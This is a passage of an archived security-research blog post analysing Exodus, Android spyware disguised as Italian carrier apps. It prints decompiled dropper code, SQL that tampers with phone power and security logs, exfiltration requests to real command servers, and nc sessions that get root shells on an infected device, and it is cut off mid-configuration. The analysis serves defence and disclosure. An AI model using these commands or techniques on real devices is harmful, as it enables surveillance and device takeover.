{
	"id": "3ccb12a2-165a-4539-aff9-568767c88121",
	"created_at": "2026-04-06T02:12:09.509138Z",
	"updated_at": "2026-04-10T13:12:38.867536Z",
	"deleted_at": null,
	"sha1_hash": "3f06a2d2560f94cbbf0c1f7c76bc610145a1abe3",
	"title": "Security Without Borders",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 2233455,
	"plain_text": "Security Without Borders\r\nArchived: 2026-04-06 01:38:06 UTC\r\nThe Wayback Machine -\r\nhttps://web.archive.org/web/20200314194610/https://securitywithoutborders.org/blog/2019/03/29/exodus.html\r\nExodus: New Android Spyware Made in Italy\r\nMar 29\r\nClicca qui per la versione in Italiano\r\nDisclaimer: this research was conducted by members and associates of Security Without Borders, independently of any\r\nother affiliation or employer.\r\nSummary\r\nWe identified a new Android spyware platform we named Exodus, which is composed of two stages we call Exodus\r\nOne and Exodus Two. We have collected numerous samples spanning from 2016 to early 2019.\r\nInstances of this spyware were found on the Google Play Store, disguised as service applications from mobile\r\noperators. Both the Google Play Store pages and the decoys of the malicious apps are in Italian. According to\r\npublicly available statistics, as well as confirmation from Google, most of these apps collected a few dozens\r\ninstallations each, with one case reaching over 350. All of the victims are located in Italy. All of these Google\r\nPlay Store pages have been taken down by Google.\r\nWe believe this spyware platform is developed by an Italian company called eSurv, which primarily operates in the\r\nbusiness of video surveillance. According to public records it appears that eSurv began to also develop intrusion\r\nsoftware in 2016.\r\nExodus is equipped with extensive collection and interception capabilities. Worryingly, some of the modifications\r\nenforced by the spyware might expose the infected devices to further compromise or data tampering.\r\nDisguised Spyware Uploaded on Google Play Store\r\nWe identified previously unknown spyware apps being successfully uploaded on Google Play Store multiple times over the\r\ncourse of over two years. These apps would remain available on the Play Store for months and would eventually be re-uploaded.\r\nWhile details would vary, all of the identified copies of this spyware shared a similar disguise. In most cases they would be\r\ncrafted to appear as applications distributed by unspecified mobile operators in Italy. Often the app description on the Play\r\nStore would reference some SMS messages the targets would supposedly receive leading them to the Play Store page. All of\r\nthe Play Store pages we identified and all of the decoys of the apps themselves are written in Italian.\r\nhttps://web.archive.org/web/20200314194610/https://securitywithoutborders.org/blog/2019/03/29/exodus.html\r\nPage 1 of 24\n\nhttps://web.archive.org/web/20200314194610/https://securitywithoutborders.org/blog/2019/03/29/exodus.html\r\nPage 2 of 24\n\nAccording to Google, whom we have contacted to alert about our discoveries, nearly 25 variants of this spyware were\r\nuploaded on Google Play Store. Google Play has removed the apps and they stated that \"thanks to enhanced detection\r\nmodels, Google Play Protect will now be able to better detect future variants of these applications\".\r\nWhile Google did not share with us the total number of infected devices, they confirmed that one of these malicious apps\r\ncollected over 350 installations through the Play Store, while other variants collected few dozens each, and that all infections\r\nwere located in Italy. We have directly observed multiple copies of Exodus with more than 50 installs and we can estimate\r\nthe total number of infections to amount in the several hundreds, if not a thousand or more.\r\nStage 1: Exodus One\r\nThe first stage installed by downloading the malicious apps uploaded on Google Play Store only acts as a dropper.\r\nFollowing are some examples of the decoys used by these droppers:\r\nhttps://web.archive.org/web/20200314194610/https://securitywithoutborders.org/blog/2019/03/29/exodus.html\r\nPage 3 of 24\n\nThe purpose of Exodus One seems to be to collect some basic identifying information about the device (namely the IMEI\r\ncode and the phone number) and send it to the Command \u0026 Control server. This is usually done in order to validate the\r\ntarget of a new infection. This is further corroborated by some older and unobfuscated samples from 2016, whose primary\r\nclasses are named CheckValidTarget .\r\nDuring our tests the spyware was upgraded to the second stage on our test device immediately after the first check-ins.\r\nThis suggests that the operators of the Command \u0026 Control are not enforcing a validation of the targets. Additionally,\r\nduring a period of several days, our infected test device was never remotely disinfected by the operators.\r\nFor the purpose of this report we analyze here the Exodus One sample with hash\r\n8453ce501fee1ca8a321f16b09969c517f92a24b058ac5b54549eabd58bf1884 which communicated with the Command \u0026\r\nControl server at 54.71.249.137 . Other samples communicated with other servers listed at the bottom of this report.\r\nExodus One checks-in by sending a POST request containing the app package name, the device IMEI and an encrypted body\r\ncontaining additional device information.\r\nPOST /eddd0317-2bdc-4140-86cb-0e8d7047b874 HTTP/1.1\r\nUser-Agent: it.promofferte:[REDACTED]\r\nContent-Type: application/octet-stream\r\nContent-Length: 256\r\nhttps://web.archive.org/web/20200314194610/https://securitywithoutborders.org/blog/2019/03/29/exodus.html\r\nPage 4 of 24\n\nHost: 54.71.249.137\r\nConnection: Keep-Alive\r\nAccept-Encoding: gzip\r\n.....,Q... N.v..us.R.........../...\\D..5p..q ......4\r\n[REDACTED]\r\ngl.O..Y.Q..)3...7K.:(..5...w..........L.....p.L2......._jK..............g}...15......r.x.x!.....?..O.z......\r\nHTTP/1.1 200 OK\r\nServer: nginx/1.4.6 (Ubuntu)\r\nDate: [REDACTED]\r\nContent-Type: text/html; charset=UTF-8\r\nTransfer-Encoding: chunked\r\nConnection: keep-alive\r\nContent-Encoding: gzip\r\n358fde5fe8f91b132636a6d5a7148070\r\nThe encrypted body is composed of various identifiers which are joined together:\r\nStringBuilder stringBuilder = new StringBuilder();\r\nstringBuilder.append(\" \");\r\nstringBuilder.append(\"#\");\r\nstringBuilder.append(deviceId);\r\nstringBuilder.append(\"#\");\r\nstringBuilder.append(str);\r\nstringBuilder.append(\"#\");\r\nstringBuilder.append(line1Number);\r\nstringBuilder.append(\"##\");\r\nstringBuilder.append(subscriberId);\r\nstringBuilder.append(\"#\");\r\nstringBuilder.append(networkOperatorName);\r\nstringBuilder.append(\"#\");\r\nstringBuilder.append(networkType);\r\nstringBuilder.append(\"#\");\r\nstringBuilder.append(simState);\r\ndoFinal() is called to encrypt the device information string:\r\nfinal byte[] doFinal = a3.doFinal(stringBuilder.toString().getBytes());\r\nThe user agent string is built from the package name and IMEI number:\r\nstringBuilder2.append(this.e.getPackageName());\r\nstringBuilder2.append(\":\");\r\nstringBuilder2.append(deviceId);\r\nsubscriberId = stringBuilder2.toString();\r\nhttps://web.archive.org/web/20200314194610/https://securitywithoutborders.org/blog/2019/03/29/exodus.html\r\nPage 5 of 24\n\nFinally the HTTP request is sent to the server at https://54.71.249.137/eddd0317-2bdc-4140-86cb-0e8d7047b874 . Many\r\nof the strings in the application are XOR'd with the key Kjk1MmphFG :\r\nStringBuilder stringBuilder3 = new StringBuilder();\r\nstringBuilder3.append(\"https://\");\r\nstringBuilder3.append(a);\r\nstringBuilder3.append(\"/\");\r\nstringBuilder3.append(p.a(\"Lg4PVX1eQV9rdSkOCBx5XERYa399CQkcfQhIDHF3f10JCXpZ\"));\r\nfinal Request build = builder.url(stringBuilder3.toString()).header(\"User-Agent\", subscriberId).post(create).build();\r\nAfter some additional requests, the dropper made a POST request to https://54.71.249.137/56e087c9-fc56-49bb-bbd0-\r\n4fafc4acd6e1 which returned a zip file containing the second stage binaries.\r\nPOST /56e087c9-fc56-49bb-bbd0-4fafc4acd6e1 HTTP/1.1\r\nUser-Agent: it.promofferte:[REDACTED]\r\nContent-Type: application/octet-stream\r\nContent-Length: 256\r\nHost: 54.71.249.137\r\nConnection: Keep-Alive\r\nAccept-Encoding: gzip\r\n......#f......Ri.)\"S.d,....xT...(.L...1.6I.KW9n...Cc@.;....u..4.k...\r\n\".d...W\r\n[REDACTED]\r\n%.+Y..k..}..I....!z...5G...-(.]fc.V..\u003c[y...T..s}.{......u%..[.!89...m..\r\nHTTP/1.1 200 OK\r\nServer: nginx/1.4.6 (Ubuntu)\r\nDate: [REDACTED]\r\nContent-Type: text/html; charset=UTF-8\r\nTransfer-Encoding: chunked\r\nConnection: keep-alive\r\nContent-Encoding: gzip\r\nPK.........e[L@..c4'...T......null_armUT ...D.ZxD.Zux..............|}|....y.%...O`.....f..0..)..P..\r\nStage 2: Exodus Two\r\nThe Zip archive returned by the check-in performed by Exodus One is a collection of files including the primary payload\r\nmike.jar and several compiled utilities that serve different functions. At least in most recent versions, as of January 2019,\r\nthe Zip archive would actually contain the i686, arm and arm64 versions of all deployed binaries.\r\nFile Name\r\nModified\r\nDate\r\nSHA256\r\nnull_arm\r\n2018-02-27\r\n06:44:00\r\n48a7dd672931e408662d2b5e1abcd6ef00097b8ffe3814f0d2799dd6fd74bd88\r\nhttps://web.archive.org/web/20200314194610/https://securitywithoutborders.org/blog/2019/03/29/exodus.html\r\nPage 6 of 24\n\nFile Name\r\nModified\r\nDate\r\nSHA256\r\nnull_i686\r\n2018-02-27\r\n06:44:00\r\nc228a534535b22a316a97908595a2d793d0fecabadc32846c6d1bfb08ca9a658\r\nnull_arm64\r\n2018-02-27\r\n06:43:00\r\n48a7dd672931e408662d2b5e1abcd6ef00097b8ffe3814f0d2799dd6fd74bd88\r\nsepolicy-inject_arm\r\n2019-01-08\r\n04:55:00\r\n47449a612697ad99a6fbd6e02a84e957557371151f2b034a411ebb10496648c8\r\nsepolicy-inject_arm642019-01-08\r\n04:55:00\r\n824ad333320cbb7873dc49e61c14f749b0e0d88723635524463f2e6f56ea133a\r\nsepolicy-inject_i686\r\n2019-01-08\r\n04:55:00\r\n13ec6cec511297ac3137cf7d6e4a7c4f5dd2b24478a06262a44f13a3d61070b6\r\nrootdaemon_arm\r\n2019-01-08\r\n04:55:00\r\n00c787c0c0bc26caf623e66373a5aaa1b913b9caee1f34580bdfdd21954b7cc4\r\nrootdaemon_arm64\r\n2019-01-08\r\n04:55:00\r\n3ee3a973c62ba5bd9eab595a7c94b7a26827c5fa5b21964d511ab58903929ec5\r\nmike.jar\r\n2018-12-06\r\n05:50:00\r\na42a05bf9b412cd84ea92b166d790e8e72f1d01764f93b05ace62237fbabe40e\r\nrootdaemon_i686\r\n2019-01-08\r\n04:55:00\r\nb46f282f9a1bce3798faee3212e28924730a657eb93cda3824c449868b6ee2e7\r\nzygotedaemonarm\r\n2019-01-08\r\n04:55:00\r\ne3f65f84dd6c2c3a5a653a3788d78920c0321526062a6b53daaf23fa57778a5f\r\nzygotedaemonarm64\r\n2019-01-08\r\n04:55:00\r\n11499ff2418f4523344de81a447f6786fdba4982057d4114f64db929990b4b59\r\nzygotedaemoni686\r\n2019-01-08\r\n04:55:00\r\n3c9f08b3280851f54414dfa5a57f40d3b7be7b73736fa0ba21b078e75ce54d33\r\nsapp.apk\r\n2019-01-08\r\n04:53:00\r\n4bf1446c412dd5c552539490d03e999a6ceb96ae60a9e7846427612bec316619\r\nplaceholder\r\n2018-03-29\r\n16:31:00\r\ne3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\r\nAfter download, Exodus One would dynamically load and execute the primary stage 2 payload mike.jar using the\r\nAndroid API DexClassLoader(). mike.jar implements most of the data collection and exfiltration capabilities of this\r\nspyware.\r\nOf the various binaries downloaded, the most interesting are null , which serves as a local and reverse shell, and\r\nrootdaemon , which takes care of privilege escalation and data acquisition. rootdaemon will first attempt to jailbreak the\r\ndevice using a modified version of the DirtyCow exploit.\r\nhttps://web.archive.org/web/20200314194610/https://securitywithoutborders.org/blog/2019/03/29/exodus.html\r\nPage 7 of 24\n\nSimilarly to another Android spyware made in Italy, originally discovered by Lukas Stefanko and later named Skygofree and\r\nanalyzed in depth by Kaspersky Labs, Exodus also takes advantage of \"protectedapps\", a feature in Huawei phones that\r\nallows to configure power-saving options for running applications. By manipulating a SQLite database, Exodus is able to\r\nkeep itself running even when the screen goes off and the application would otherwise be suspended to reduce battery\r\nconsumption.\r\nif ( !func_sqlite_loaddb((int)\"/data/data/com.huawei.systemmanager/databases/Optimize.db\", (int)\u0026db_handle) )\r\n{\r\n sprintf(\u0026s, \"INSERT INTO protectedapps (package_name,list_type) VALUES ('%s','1')\", v1, 0);\r\n func_sqlite_exec(db_handle, \u0026s, 0, 0, \u0026v4);\r\n sprintf(\u0026s, \"DELETE FROM backgroundwhiteapps WHERE package_name='%s'\", v1);\r\n func_sqlite_exec(db_handle, \u0026s, 0, 0, \u0026v4);\r\n sprintf(\u0026s, \"INSERT INTO backgroundwhiteapps (package_name) VALUES ('%s')\", v1);\r\n func_sqlite_exec(db_handle, \u0026s, 0, 0, \u0026v4);\r\n func_sqlite_free(v4);\r\n}\r\nif ( !func_sqlite_loaddb(\r\n (int)\"/data/user_de/0/com.huawei.systemmanager/databases/smartpowerprovider.db\",\r\n (int)\u0026db_handle) )\r\n{\r\n sprintf(\u0026s, \"INSERT INTO protectedapps (package_name,list_type) VALUES ('%s','1')\", v2, a2);\r\n func_sqlite_exec(db_handle, \u0026s, 0, 0, \u0026v5);\r\n sprintf(\u0026s, \"DELETE FROM rogueapps WHERE pkgname='%s'\", v2);\r\n func_sqlite_exec(db_handle, \u0026s, 0, 0, \u0026v5);\r\n sprintf(\u0026s, \"DELETE FROM superpowerapps WHERE pkgname='%s'\", v2);\r\n func_sqlite_exec(db_handle, \u0026s, 0, 0, \u0026v5);\r\n sprintf(\u0026s, \"REPLACE INTO unifiedpowerapps (pkg_name,is_protected,is_show,is_changed) VALUES ('%s',1,0,0)\", v2);\r\n func_sqlite_exec(db_handle, \u0026s, 0, 0, \u0026v5);\r\n func_sqlite_free(v5);\r\n}\r\nAdditionally, rootdaemon attempts to remove its own power usage statistics from Huawei phones' SystemManager:\r\nif ( !func_sqlite_loaddb((int)\"/data/data/com.huawei.systemmanager/databases/stusagestat.db\", (int)\u0026db_handle) )\r\n{\r\n sprintf(\u0026s, \"REPLACE INTO default_value_table (pkg_name,control,protect,keytask) VALUES ('%s',0,2,0)\", v1, 0);\r\n func_sqlite_exec(db_handle, \u0026s, 0, 0, \u0026v4);\r\n sprintf(\u0026s, \"DELETE FROM st_key_procs_table WHERE st_key_process='%s'\", v1);\r\n func_sqlite_exec(db_handle, \u0026s, 0, 0, \u0026v4);\r\n sprintf(\u0026s, \"INSERT INTO st_key_procs_table (st_key_process) VALUES ('%s')\");\r\n func_sqlite_exec(db_handle, \u0026s, 0, 0, \u0026v4);\r\n sprintf(\u0026s, \"REPLACE INTO st_protected_pkgs_table (pkg_name,is_checked) VALUES ('%s',1)\", v1);\r\n func_sqlite_exec(db_handle, \u0026s, 0, 0, \u0026v4);\r\n func_sqlite_free(v4);\r\n}\r\nhttps://web.archive.org/web/20200314194610/https://securitywithoutborders.org/blog/2019/03/29/exodus.html\r\nPage 8 of 24\n\nSimilarly, the malicious application probably attempts to minimize traces on Samsung phones by adding to the file\n/data/data/com.samsung.android.securitylogagent/shared_prefs/apm_sp_status_of_apps.xml the following lines:\n?xml version='1.0' encoding='utf-8' standalone='yes' ?\u003e\nAnd adding to the file\n/data/data/com.samsung.android.securitylogagent/shared_prefs/com.samsung.android.securitylogagent_preferences.xml\nthese lines instead:\n?xml version='1.0' encoding='utf-8' standalone='yes' ?\u003e\nData Collection and Exfiltration\nAs mentioned, mike.jar equips the spyware with extensive collection capabilities, including:\nRetrieve a list of installed applications.\nRecord surroundings using the built-in microphone in 3gp format.\nRetrieve the browsing history and bookmarks from Chrome and SBrowser (the browser shipped with Samsung\nphones).\nExtract events from the Calendar app.\nExtract the calls log.\nRecord phone calls audio in 3gp format.\nTake pictures with the embedded camera.\nCollect information on surrounding cellular towers (BTS).\nExtract the address book.\nExtract the contacts list from the Facebook app.\nExtract logs from Facebook Messenger conversations.\nTake a screenshot of any app in foreground.\nExtract information on pictures from the Gallery.\nExtract information from th GMail app.\nDump data from the IMO messenger app.\nExtract call logs, contacts and messages from the Skype app.\nRetrieve all SMS messages.\nExtract messages and the encryption key from the Telegram app.\nDump data from the Viber messenger app.\nExtract logs from WhatsApp.\nRetrieve media exchanged through WhatsApp.\nExtract the Wi-Fi network's password.\nExtract data from WeChat app.\nExtract current GPS coordinates of the phone.\nhttps://web.archive.org/web/20200314194610/https://securitywithoutborders.org/blog/2019/03/29/exodus.html\nPage 9 of 24\n\nWhile some of these acquisition are performed purely through code in mike.jar , some others that require access to, for\r\nexample, SQLite databases or other files in the application's storage are performed through rootdaemon instead, which\r\nshould be running with root privileges. In order to achieve this, mike.jar connects to rootdaemon through various TCP\r\nports that the daemon binds on some extraction routines for supported applications:\r\nPort 6202: WhatsApp extraction service.\r\nPorts 6203 and 6204: Facebook extraction service.\r\nPort 6205: Gmail extraction service.\r\nPort 6206: Skype extraction service.\r\nPort 6207: Viber extraction service.\r\nPort 6208: IMO extraction service.\r\nPort 6209: Telegram extraction service.\r\nPort 6210: SBrowser extraction service.\r\nPort 6211: Calendar extraction service.\r\nPort 6212: Chrome extraction service.\r\nThese services appear to be running on all network interfaces and are therefore accessible to anyone sharing a local network\r\nwith an infected device.\r\n tcp 0 0 0.0.0.0:6201 0.0.0.0:* LISTEN\r\n tcp 0 0 0.0.0.0:6205 0.0.0.0:* LISTEN\r\n tcp 0 0 0.0.0.0:6209 0.0.0.0:* LISTEN\r\n tcp 0 0 0.0.0.0:6211 0.0.0.0:* LISTEN\r\n tcp 0 0 0.0.0.0:6212 0.0.0.0:* LISTEN\r\nFollowing we can see an example of a connection to port 6209 which is used to extract data from the Telegram app. We are\r\nable to send commands to the service such as dumpmsgdb or getkey (which dumps the tgnet.dat file).\r\nuser@laptop:~$ nc 192.168.1.99 6209 | xxd\r\ngetkey\r\n00000000: 1f8b 0800 0000 0000 0003 1361 6660 0022 ...........af`.\"\r\n00000010: 06f3 e995 7bb6 9616 cd04 6126 0604 70b7 ....{.....a\u0026..p.\r\n00000020: bfb9 e1d2 d959 e741 f220 3e2b 1073 0131 .....Y.A. \u003e+.s.1\r\n00000030: 2392 1a10 9bcf d0c4 52cf d0d4 44cf d0dc #.......R...D...\r\n[...]\r\n00000080: 24d5 02e4 2423 ac4e a2c8 4dcc 686e e247 $...$#.N..M.hn.G\r\n00000090: 0e27 4303 03c2 e164 4cf5 7062 c117 4e96 .'C....dL.pb..N.\r\n000000a0: 4484 9309 f5c3 8915 cd4d bc88 7032 d433 D........M..p2.3\r\n000000b0: 65c0 9f9e d240 8e32 a56a 3801 00c3 3f3c e....@.2.j8...?\u003c\r\n000000c0: ab18 0300 00\r\nData acquired from mike.jar 's extraction modules is normally XORed and stored in a folder named .lost+found on the\r\nSD card. Data is eventually exfiltrated over a TLS connection to the Command \u0026 Control server ws.my-local-weather[.]com through an upload queue.\r\nhttps://web.archive.org/web/20200314194610/https://securitywithoutborders.org/blog/2019/03/29/exodus.html\r\nPage 10 of 24\n\nAs mentioned before, our test device was automatically from stage one to stage two, which started collecting data. For\r\nexample, the password of the WiFi network used by the phone was stored in the folder\r\n/storage/emulated/0/.lost+found/0BBDA068-9D27-4B55-B226-299FCF2B4242/ using the following file name format\r\nDD_MM_2019_HH_mm_ss_XXXXXXXXXXXXX.txt.crypt (the datetime followed by the IMEI). Eventually we observed the agent\r\nexfiltrate the WiFi password from our test phone to the Command \u0026 Control server:\r\nPUT /7d2a863e-5899-4069-9e8e-fd272896d4c7/A35081BD-4016-4C35-AA93-38E09AF77DBA.php HTTP/1.1\r\nUser-Agent: it.promofferte:[REDACTED]\r\nDETAILS: {\"date\":\"[REDACTED]\",\"imei\":\"[REDACTED]\",\"filenameb64\":\"[REDACTED]\\u003d\\u003d\",\"filepathb64\":\"[REDACTED]\\u003d\",\r\nContent-Type: application/octet-stream\r\nContent-Length: 277\r\nHost: ws.my-local-weather.com\r\nConnection: Keep-Alive\r\nAccept-Encoding: gzip\r\nl.9TqRuosV..~.:. ...` [REDACTED] ....s)Sp.^...5z..d0pRu\r\nHTTP/1.1 200 OK\r\nServer: nginx\r\nDate: Fri, 18 Jan 2019 15:53:40 GMT\r\nContent-Type: text/html; charset=UTF-8\r\nTransfer-Encoding: chunked\r\nConnection: keep-alive\r\nContent-Encoding: gzip\r\nOK\r\nSimilarly, the agent also sent to the Command \u0026 Control the list of installed apps:\r\nPUT /7d2a863e-5899-4069-9e8e-fd272896d4c7/A35081BD-4016-4C35-AA93-38E09AF77DBA.php HTTP/1.1\r\nUser-Agent: it.promofferte:[REDACTED]\r\nDETAILS: {\"date\":\"[REDACTED]\",\"imei\":\"[REDACTED]\",\"filenameb64\":\"[REDACTED]\\u003d\\u003d\",\"filepathb64\":\"[REDACTED]\\u003d\\u\r\nContent-Type: application/octet-stream\r\nContent-Length: 11502\r\nHost: ws.my-local-weather.com\r\nConnection: Keep-Alive\r\nAccept-Encoding: gzip\r\n(..5.\"...0...gVE^R.gRT@WYS3^\u0026Q....9.ua8.+WCQ%]T^Q.\r\n.UYY.R][V.0.5.6...1]0P\u0026.pYM.0AFZ[W~Q[S.\r\n[REDACTED]\r\n\u003c...wIwR;.|...2_P.UWTBY_P.FKZR.1P$.7..]6.;E5.\u0026.M_wEPAGP_^xWYR....]a.`\\cG]Dd@c.xS$...\u003c\\[p[]U...\r\nJh\r\nHTTP/1.1 200 OK\r\nServer: nginx\r\nDate: [REDACTED]\r\nContent-Type: text/html; charset=UTF-8\r\nhttps://web.archive.org/web/20200314194610/https://securitywithoutborders.org/blog/2019/03/29/exodus.html\r\nPage 11 of 24\n\nTransfer-Encoding: chunked\r\nConnection: keep-alive\r\nContent-Encoding: gzip\r\nThis Command \u0026 Control seems to have been active since at least April 2017 and was registered impersonating the\r\nlegitimate service AccuWeather.\r\nRegistrant Name: AccuWeather, Inc.\r\nRegistrant Organization: AccuWeather, Inc.\r\nRegistrant Street: 385 SCIENCE PARK RD\r\nRegistrant City: STATE COLLEGE\r\nRegistrant State/Province: PA\r\nRegistrant Postal Code: 16803-2215\r\nRegistrant Country: US\r\nRegistrant Phone: +1.8142358528\r\nRegistrant Phone Ext:\r\nRegistrant Fax: +1.8142358528\r\nRegistrant Fax Ext:\r\nRegistrant Email: accuweather@nycmail[.]com\r\nLocal and Remote Shells\r\nIn order to execute commands on the infected devices, as well as to provide a reverse shell to the Command \u0026 Control\r\noperators, Exodus Two immediately attempts to execute a payload it downloads with the name null . Once launched,\r\nnull will first verify whether it is able to fork on the system and that there is no other instance of itself currently running\r\nby checking whether the local port number 6842 is available.\r\nThis payload will then attempt to instantiate a remote reverse /system/bin/sh shell to the Command \u0026 Control ws.my-local-weather[.]com on port 22011. It is worth noticing that this remote reverse shell does not employ any transport\r\ncryptography. The traffic transits in clear and is therefore potentially exposed to man-in-the-middle attacks:\r\nhttps://web.archive.org/web/20200314194610/https://securitywithoutborders.org/blog/2019/03/29/exodus.html\r\nPage 12 of 24\n\nAt the same time, null will also bind a local shell on 0.0.0.0:6842. This local port is used by Exodus Two to execute\r\nvarious commands on the Android device, such as enabling or disabling certain services, or parsing app databases.\r\nHowever, binding a shell on all available interfaces will obviously make it accessible to anyone who is sharing at least a\r\nlocal network with an infected device. For example, if an infected device is connected to a public Wi-Fi network any\r\nother host will be able to obtain a terminal on the device without any form of authentication or verification by simply\r\nconnecting to the port.\r\nuser@laptop:~$ nc 192.168.1.99 6842 -v\r\nConnection to 192.168.1.99 6842 port [tcp/*] succeeded!\r\nu0_a114@hammerhead:/ $ id\r\nid\r\nuid=10114(u0_a114) gid=10114(u0_a114) groups=1015(sdcard_rw),1028(sdcard_r),3003(inet),50114(all_a114) context=u:r:untrust\r\nIf the mobile operator doesn't enforce proper client isolation, it is possible that the infected devices are also exposed to the\r\nrest of the cellular network.\r\nObviously, this inevitably leaves the device open not only to further compromise but to data tampering as well.\r\nnull is not the only payload opening a shell on the phone. The rootdaemon binary in fact offers several other possibilities\r\nto execute commands on the infected device just by connecting to TCP port 6200 and issuing one of the following\r\ncommands.\r\nSending the command sh to TCP port 6200 results in a full terminal being dropped:\r\nuser@laptop:~$ nc 192.168.1.99 6200\r\nsh\r\nsystem@hammerhead:/ $ id\r\nhttps://web.archive.org/web/20200314194610/https://securitywithoutborders.org/blog/2019/03/29/exodus.html\r\nPage 13 of 24\n\nid\r\nuid=1000(system) gid=1000(system) groups=1015(sdcard_rw),1028(sdcard_r),2000(shell),3003(inet) context=u:r:system:s0\r\nsystem@hammerhead:/ $\r\nSending the command cmd followed by a proper terminal command will execute it and print the output (in the example we\r\nuse id which displays the identity of the system user running the issued commands):\r\nuser@laptop:~$ nc 192.168.1.99 6200\r\ncmd id\r\nuid=1000(system) gid=1000(system) groups=1015(sdcard_rw),1028(sdcard_r),2000(shell),3003(inet) context=u:r:system:s0\r\nDoing the same as above but with command sucmd will run the terminal command as root:\r\n$ nc 192.168.1.99 6200\r\nsucmd id\r\nuid=0(root) gid=0(root) groups=1015(sdcard_rw),1028(sdcard_r),2000(shell),3003(inet) context=u:r:system:s0\r\nOther commands supported by rootdaemon on TCP port 6200 are su (which in our tests didn't properly work),\r\nloadsocketpolicy , loadfilepolicy , remount and removeroot .\r\nAt the cost of possibly being overly verbose, following is the output of an nmap scan of the infected Android device from a\r\nlaptop in the same local network, which further demonstrantes the availability of the same open TCP ports that we have\r\nmentioned thus far:\r\nuser@laptop:~$ nmap 192.168.1.99 -p6000-7000\r\nStarting Nmap 7.40 ( https://nmap.org ) at 2019-02-28 17:12 CET\r\nNmap scan report for android-[REDACTED] (192.168.1.99)\r\nHost is up (0.035s latency).\r\nNot shown: 994 closed ports\r\nPORT STATE SERVICE\r\n6200/tcp open lm-x\r\n6201/tcp open thermo-calc\r\n6205/tcp open unknown\r\n6209/tcp open qmtps\r\n6211/tcp open unknown\r\n6212/tcp open unknown\r\n6842/tcp open netmo-http\r\nNmap done: 1 IP address (1 host up) scanned in 2.30 seconds\r\nIdentification of eSurv\r\nPresence of Italian language\r\nAt a first look, the first samples of the spyware we obtained did not show immediately evident connections to any company.\r\nHowever, the persistent presence of Italian language both on the Google Play Store pages as well as inside the spyware code\r\nhttps://web.archive.org/web/20200314194610/https://securitywithoutborders.org/blog/2019/03/29/exodus.html\r\nPage 14 of 24\n\nwas a clear sign that an Italian actor was behind the creation of this platform. Initially some particular words from the\r\ndecompiled classes.dex of Exodus Two sent us in the right direction.\r\na(\"MUNDIZZA\", \"09081427-FE30-46B7-BFC6-50425D3F85CC\", \".*\", false);\r\nthis.b.info(\"UPLOADSERVICE Aggiunti i file mundizza. Dimensione coda upload {}\", Integer.valueOf(this.c.size()));\r\n\"Mundizza\" is a dialectal word, a derivative of the proper Italian word \"immondizia\" that translates to \"trash\" or \"garbage\"\r\nin English. Interestingly, \"mundizza\" is typical of Calabria, a region in the south of Italy, and more specifically it appears to\r\nbe language native of the city of Catanzaro.\r\nAdditionally, some copies of Exodus One use the following XOR key:\r\nchar[] cArr = new char[]{'R', 'I', 'N', 'O', ' ', 'G', 'A', 'T', 'T', 'U', 'S', 'O'};\r\nRino Gattuso is a famous retired Italian footballer, originally from Calabria.\r\nWhile not too seriously, these elements made us restrict our research into surveillance companies from the region.\r\nOverlapping Infrastructure with eSurv Surveillance Cameras\r\nThe Command \u0026 Control domain configured in several of the malicious applications found on Google Play Store, ws.my-local-weather[.]com , points to the IP address 54.69.156.31 which serves a self-signed TLS certificate with the\r\ncertificate common name MyCert and fingerprint\r\n11:41:45:2F:A7:07:23:54:AE:9A:CE:F4:FE:56:AE:AC:B1:C2:15:9F:6A:FC:1E:CC:7D:F8:61:E3:25:26:73:6A .\r\nA search for this certificate fingerprint on the Internet scanning service Censys returns 8 additional servers:\r\nIP address\r\n34.208.71.9\r\n34.212.92.0\r\n34.216.43.114\r\n52.34.144.229\r\n54.69.156.31\r\n54.71.249.137\r\n54.189.5.198\r\n78.5.0.195\r\n207.180.245.74\r\nOpening the Command \u0026 Control web page in a browser presents a Basic Authentication prompt:\r\nhttps://web.archive.org/web/20200314194610/https://securitywithoutborders.org/blog/2019/03/29/exodus.html\r\nPage 15 of 24\n\nClosing this prompt causes the server to send a \"401 Unauthorized Response\" with an \"Access Denied\" message in Italian.\r\nAll of the other IP address we discovered sharing the same TLS certificate behave in the same way.\r\nThe Command \u0026 Control server also displays a favicon image which looks like a small orange ball.\r\nAt the time of writing, a reverse image search for the favicon on Shodan using the query http.favicon.hash:990643579\r\nreturned around 40 web servers which use the same favicon.\r\nhttps://web.archive.org/web/20200314194610/https://securitywithoutborders.org/blog/2019/03/29/exodus.html\r\nPage 16 of 24\n\nMany of these servers are control panels for video surveillance systems developed by the Italian company eSurv, based in\r\nCatanzaro, in Calabria, Italy.\r\nhttps://web.archive.org/web/20200314194610/https://securitywithoutborders.org/blog/2019/03/29/exodus.html\r\nPage 17 of 24\n\nTheir publicly advertised products include CCTV management systems, surveillance drones, face and license plate\r\nrecognition systems.\r\neSurv's logo is identical to the Command \u0026 Control server favicon.\r\nhttps://web.archive.org/web/20200314194610/https://securitywithoutborders.org/blog/2019/03/29/exodus.html\r\nPage 18 of 24\n\nOlder samples connecting to eSurv\r\nFinally, Google shared with us some older samples of Exodus One (with hashes\r\n2055584625d24687bd027a63bc0b8faa7d1a854a535de74afba24840a52b1d2f and\r\na37f5d2418c5f2f64d06ba28fe62edee1293a56158ddfa9f04020e316054363f) which are not obfuscated and use the following\r\ndisguise:\r\nhttps://web.archive.org/web/20200314194610/https://securitywithoutborders.org/blog/2019/03/29/exodus.html\r\nPage 19 of 24\n\nThe configuration of these older samples is very similar to newer ones, but it provides additional insights being not\r\nobfuscated:\r\npackage com.vend.management.carrier.mylibrary;\r\npublic class Configuration {\r\n public static final String BUNDLE_CUSTOM_FILENAME = \"D10CEE67-E1EF-4C17-96DC-BEB51B0A9A55\";\r\n public static final String BUNDLE_UNIVERSAL_FILENAME = \"AD9FF676-875E-4294-A230-44EA1A4B15A1\";\r\n public static final String CERT_STRING_B64 = \"MIIDxzCCAq+gAwIBAgIJAM6NZPKxJWOzMA0GCSqGSIb3DQEBCwUAMHoxCzAJBgNVBAYTAkNO\r\n public static final String EXPLOIT_ARM = \"07DD890F-8495-4E74-826F-BF7AED84B351\";\r\n public static final String EXPLOIT_I686 = \"6F6F8F3F-7996-44B4-AD92-4BB03D02D926\";\r\n public static final String HOST_DIRECTORY = \"/7e661733-e332-429a-a7e2-23649f27690f/\";\r\n public static final String HOST_IP = \"attiva.exodus.esurv.it\";\r\n public static final 